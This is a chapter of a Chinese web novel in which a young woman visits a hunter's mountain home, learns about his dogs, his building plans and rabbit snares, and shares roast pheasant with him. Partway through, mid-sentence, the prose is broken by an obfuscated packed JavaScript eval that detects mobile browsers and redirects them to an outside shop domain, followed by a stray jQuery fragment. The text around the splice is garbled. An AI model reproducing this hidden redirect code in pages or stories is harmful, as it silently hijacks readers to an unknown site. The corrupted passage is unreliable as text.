呼家坳跟林家村只隔了两座山头,可二丫一路走过来,却觉得连空气的味道仿佛都不一样了。
林家村那边是一望无际的麦田和菜地,规规整整的,像是被人用梳子篦过一遍。
可呼家坳这边的地,却是东一块西一块地嵌在林子里,种着些耐旱的豆子和番薯,
还有就是层层叠叠的老林子,从山脚一直铺到天边,松树和橡树混在一起,风吹过来带着一股松脂的苦香。
剩下的则全是山。
呼金豹家的院子比她家大的多。
说是只有两个石头房,石头房也盖的顶好,特别结实,比林家的屋子强的不是一星半点。
前院铺着碎石,靠墙堆着劈好的柴垛,码得整整齐齐。后院则挨着山脚,有一块开出来的菜地,种着几垄青菜和葱蒜,旁边搭着个鸡窝,几只肥母鸡正趴在地上晒太阳。
二丫刚迈进院门,两条半人高的大猎狗就呼地一下从后院窜了出来。一条黄毛,一条黑毛,八条腿跑起来带着风声,张嘴汪汪就是两排白森森的尖牙,直直地朝她扑过来。
二丫本能地往后退了半步,后背撞上了呼金豹的胸口。
呼金豹笑着扶住她,唤狗:“阿黄!黑子!坐!”
呼金豹的声音不大,但两条猎狗却同时刹住了脚,一屁股坐了下去,尾巴在地上扫来扫去,喉咙里的呜咽也立刻变成了讨好的哼哼。
呼金豹弯腰拍了拍阿黄的脑袋,语气里带着一点笑意:“好了,记住了,这是自己人。以后她来了,不许叫。”
二丫蹲下来,试着摸了摸黑子的耳朵。黑子没有躲,反而把脑袋往她手里拱了拱,喉咙里发出一声舒服的咕噜。她的手陷在猎狗粗糙的短毛里,手心能感觉到皮下的血管在跳,温热的,活生生的。
这感觉还不赖。
“这狗很听你话嘛。”她说。
“那是给你面子。”呼金豹走到柴垛边上,顺手把角落的东西又拾掇了一下:“去年有个偷鸡的翻我家院墙,被阿黄撵出去二里地,鞋都跑丢了。”
二丫站起来,拍了拍腿上的土,目光在院子里转了一圈。前院这棵老柿子树,树干粗得一个人抱不过来,树下则摆着石桌,桌上一把猎刀,刀刃在太阳底下泛着青光。
屋檐下还挂着不少东西,她看得眼花缭乱,有成串的兽夹,铁齿锃亮;几把备用的猎弓,弓身被磨得油光水滑;还有好几张硝好的皮子,有兔皮,有獐子皮,有一张完整的红狐皮,毛色鲜艳得像一团烧到最旺的火。
“你这儿东西真多。”二丫忍不住说。
“靠山吃山。”呼金豹走到院子东侧,拿手比划了一下院墙和柿子树之间那块空地。
“这边,就是我昨天跟你说的,打算再加一间房。你看这位置,从这儿到这儿,能盖一间丈二宽的。窗户朝南,亮堂。到时候把门口这棵柿子树留着,夏天能遮阴。”
二丫就顺着他手指的方向看过去。她脑子里不由自主地浮出一个画面:新盖的屋子,窗户开得大大的,窗台上摆一盆从山上挖回来的野花,床铺靠墙,柜子摆在床尾。
呼金豹走到柿子树下,弯腰搬起石桌旁边那块压咸菜缸的石头。
那石头少说也有七八十斤,他双手竟一抱就起来了,脸不红气不喘,面不改色地搬到院子另一头放下,还回头对二丫说:“这块石头碍事,我先挪走,到时候新房的墙就从这儿起。”
二丫站在原地,目光却定在他胳膊上。
那袖子卷到胳膊肘,小臂上的肌肉在搬石头的时候鼓起来,像老树根一样一棱一棱的,皮肤底下青筋隐隐跳了一下。
她想起以前村里有人家盖房,抬一块大青石要四个人,喊着号子一步一步挪。可呼金豹一个人就搬走了,搬完还很轻松,像是刚干的不过是一件端茶倒水的小事。
她忽然觉得心跳漏了一拍。
不是那种看见好看的人脸红心跳的漏法,而是一种更原始的,对力量的向往。
呼金豹不知道她在想什么,正蹲在新房地基的位置上拿树枝比划:“地基用青石,墙用土坯,梁我去山里挑两根好的松木。家具的话,柜子我自己能打,床也能打,就是雕花不会,回头去镇上请个木匠师傅来雕两块床头板。”
他把树枝插在地上,站起来拍了拍膝盖上的土,“你会不会嫌弃?其实没雕花也不难看,自己打的结实。”
“不用雕花。”二丫说,“结实的就好。”
呼金豹点了点头,好像这个回答在他的意料之中。他走到屋檐下,从挂着的皮子旁边取下一个布袋,从里面掏出几把东西摊在石桌上。二丫凑过去看,发现是几把铁夹子,大大小小的,小号的只有巴掌大,大号的能夹断一条腿。
“想不想学打猎?”呼金豹看她盯着兽夹看,眉毛微微扬了一下。
“想。”二丫毫不犹豫地说。
“打猎不是好玩的。山上毒虫多,蛇也不少,走路不小心踩到一条,咬一口就能要命。再说还有野猪、豹子,你见没见过野猪?四五百斤的,獠牙这么长……”他用手比了个一尺多的长度,“一拱能把人拱飞。你怕不怕?”
“怕。”二丫拿起石桌上最小号的那个兽夹,翻来覆去地看,铁齿在阳光下闪着冷光,“但怕也想学。”
呼金豹看了她一眼,没有说话。
他拿起桌上磨了一半的猎刀,手指在刀刃上试了试锋利程度,然后从柴垛上抽了根细树枝,坐在石墩上,拿刀一下一下地削。树枝的皮一片一片落在脚边,露出底下白生生的木芯。
“行。”他说,语气跟刚才挪石头时一样平淡,“先教你做几个简单的套子,套兔子用的。不着急,慢慢学。不过你还是得先把身体养好,山上不比地里,一脚踩空了不是摔一跤的事。”
二丫点头,把兽夹放回石桌上,坐在他对面的石墩上,听他讲。
呼金豹则一面削树枝一面说,讲到陷阱的时候把削好的树枝折成几个小段,在石桌上比划给她看。
从套索怎么打结,诱饵放在哪个位置,绊线要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774214|209992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多高才能刚好绊住兔子的腿,说到设陷阱要背风的时候……他抬头看了二丫一眼,却发现她竟真的听的很认真。
他顿了一下,有点意外。
以前他跟大哥的徒弟讲过这些,那小子听了不到一刻钟就开始打哈欠。可眼前这个瘦瘦小小的姑娘,眼睛亮得像是发现了什么宝贝。
“你想什么呢?”他问。
“我在想你刚才说的兔道。”二丫用手指在石桌上画了一条虚线,“你说兔子走路喜欢走老路,所以在兔道上设陷阱最好用。那你怎么知道哪条是兔道?”
呼金豹把削好的木头签子往桌上一插,靠在椅背上,嘴角微微弯了一下。
“看脚印,看粪球。”他说,“新拉的兔粪是黑的、湿的,旧的是灰的、干的。看多了就认得了,你倒挺会问。”
“那你什么时候带我去看?”
“改天,今天先吃肉。”
呼金豹站起来,走到屋檐下取下一只腌好的野鸡。
鸡是昨天就杀好的,用花椒和盐揉过,挂在通风的地方晾了一夜,鸡皮已经变成了半透明的深棕色,油光光的,还没烤就发出了一股浓烈的咸香。
他在柿子树下生了一堆炭火,用几块石头围成个圈,又在火堆两边架了两根铁钎,把野鸡穿在铁钎上,搁在火上慢慢地转。
火舌舔上鸡皮,发出滋滋的声响,油一滴一滴地滴在炭上,炸开一朵朵小火花。香味一下子就炸开了。
是那种在炭火上烤出来的焦香,混着花椒的麻、盐的咸和野鸡肉本身的鲜,厚厚地铺满了整个院子。
两条猎狗趴在火堆旁边,眼珠子跟着转动的烤鸡一左一右地晃,口水也淌了下来。
二丫坐在火堆旁边,就看着呼金豹翻烤,看他动作不紧不慢,每一面都烤得均匀,直到鸡皮从深棕慢慢变成油亮的金红,表面鼓起一个个小泡,噼啪作响……
“翻烤肉跟拉弓一样,不能太急也不能太慢。”呼金豹说着把铁钎提起来,从腰间拔出猎刀,在鸡腿上划了一道。
刀刃刚碰到鸡皮就听见一声轻微的脆响,金红色的皮裂开,里面雪白的肉冒着热气,肉汁顺着刀口淌下来,在火光里亮晶晶的。
“好了。”
他从鸡腿上片下一块肉,又用刀尖扎了一块烤得焦脆的鸡皮搁在肉上面,递到二丫嘴边。
二丫张嘴接住,牙齿咬下去的一瞬间,她觉得自己这辈子没吃过这么好吃的东西。
鸡皮脆得像在嚼油炸的锅巴,可一咬就化了,化出一嘴咸香的花椒味,鸡肉又嫩又滑,一点不柴,肉汁在舌头上铺开,连舌头根子都是鲜的。
“好吃吗?”呼金豹问。
二丫说不了话,嘴里塞满了肉,只是拼命点头。
呼金豹低头继续片肉,把片好的肉一片一片码在洗干净的石板上,鸡腿、鸡胸、鸡翅分开码,码得整整齐齐。
他片肉的手法跟劈柴一样利落,刀刃贴着骨头走,一片肉下来干干净净的,骨头上连一根肉丝都不剩。